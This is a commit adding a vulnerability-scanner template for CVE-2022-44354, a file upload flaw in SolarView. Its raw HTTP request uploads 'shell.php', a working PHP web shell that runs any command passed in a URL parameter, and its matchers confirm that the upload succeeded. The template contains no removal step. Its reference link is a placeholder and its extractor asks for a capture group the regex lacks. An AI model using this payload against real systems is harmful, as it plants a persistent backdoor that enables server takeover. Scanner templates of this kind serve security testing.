Create CVE-2022-44354

2026-11-07 08:36:19 -10:00 · 2025-05-21 15:15:27 +05:30
1 changed files with 54 additions and 0 deletions
@@ -0,0 +1,54 @@
+id: CVE-2022-44354
+
+info:
+  name: SolarView Unrestricted File Upload
+  author: pussycat0x
+  severity: critical
+  description: |
+    This template checks for arbitrary file upload vulnerability exploiting CVE-2022-44354, which allows an attacker to upload a malicious PHP file to the server.
+  reference:
+    - https://example.com/reference
+  tags: file-upload,php,cve,exploit,kev
+
+http:
+  - raw:
+      - |
+        POST /upload HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=---------------------------168287165333758025211172961484
+
+        -----------------------------168287165333758025211172961484
+        Content-Disposition: form-data; name="userfile"; filename="shell.php"
+        Content-Type: application/octet-stream
+
+        <?php echo "Shell";system($_GET['cmd']); ?>
+        -----------------------------168287165333758025211172961484
+        Content-Disposition: form-data; name="upfilename"
+
+        shell.php
+        -----------------------------168287165333758025211172961484--
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "shell.php uploaded successfully"
+          - "File successfully uploaded"
+        part: body
+      - type: regex
+        regex:
+          - "shell\\.php"
+        part: body
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "shell\\.php"
+        group: 1
+        internal: true
+
+    stop-at-first-match: true